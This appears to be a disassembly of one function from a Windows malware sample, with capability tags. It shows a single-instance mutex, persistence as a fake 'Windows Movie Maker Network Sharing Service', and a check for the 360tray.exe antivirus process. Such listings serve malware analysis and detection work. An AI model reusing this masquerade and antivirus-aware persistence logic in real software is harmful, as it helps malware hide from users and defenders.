Function at 0x404140
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x2bc
push ebx
push edi
call dword [0x4196ac]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [0x419698]
push ebx
push ebx
lea eax, [esp + 0x20]
push ebx
push eax
call dword [0x41969c]
call fcn.00403770
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x34]
push 0x100
push ecx
push ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x34]
push 0x415f9c
push edx
call fcn.0040ae40
add esp, 8
test eax, eax
jne 0x4042fc
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
call esi
push str.WMMNetworkMpp
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4042ed
cmp eax, 5
je 0x4042ed
push 0x4033d0
push str.WMMNetworkMpp
call dword [0x419650]
mov edi, dword [0x419678]
push 0x4196c0
push eax
mov dword [0x4196bc], eax
mov dword [0x4196c0], 0x20
mov dword [0x4196c8], 7
mov dword [0x4196cc], ebx
mov dword [0x4196d8], 0x7d0
mov dword [0x4196d4], 1
mov dword [0x4196c4], 2
call edi
push 0x1f4
mov dword [0x4196d4], ebx
call esi
mov eax, dword [0x4196bc]
push 0x4196c0
push eax
mov dword [0x4196c4], 4
call edi
lea ecx, [esp + 0x13c]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.004031c0
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
test al, al
mov byte [0x4196e0], al
jne 0x4042a4
push ebx
push ebx
push ebx
push 0x403520
push ebx
push ebx
call edi
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
push 0
push 0x4028a0
push 0
push 0
call edi
push 0xffffffffffffffff
push eax
mov dword [0x4196e4], eax
call ebx
mov edx, dword [0x4196e4]
push edx
call ebp
mov eax, dword [0x4196b8]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x12c
mov dword [0x416280], 1
call esi
jmp 0x4042aa
pop esi
pop ebp
pop edi
xor eax, eax
pop ebx
add esp, 0x2bc
ret 0x10
lea ecx, [esp + 0x34]
push 0x415f9c
push ecx
call fcn.0040ae40
add esp, 8
test eax, eax
je 0x40434f
call 0x4043c0
test eax, eax
je 0x40436d
push 0x415c7c
call fcn.00401650
add esp, 4
test eax, eax
jne 0x40435c
lea edx, [esp + 8]
mov dword [esp + 8], str.WMMNetworkMpp
push edx
mov dword [esp + 0x10], 0x403260
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
call dword [0x419688]
pop edi
xor eax, eax
pop ebx
add esp, 0x2bc
ret 0x10
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call fcn.0040a6d0
call fcn.00403e90
push str.Program_Files
push str.Physical_devices_to_share_Windows_Movie_Maker_NetworkVcr_Library.
push str.Windows_Movie_Maker_Network_Sharing_ServiceIgb
push str.WMMNetworkMpp
call fcn.00404460
push str.360tray.exe
call fcn.004036d0
add esp, 0x14
test eax, eax
je 0x4043ad
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call fcn.00405560
cmp dword [0x4196ec], ebx
je 0x40434f
call fcn.00404f70
push ebx
call fcn.0040a6d0
sub esp, 0x108
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.WMMNetworkMpp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xf003f
lea ecx, [esp + 0x18]
push 0
push ecx
push closesocket
call dword [0x41968c]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x108
ret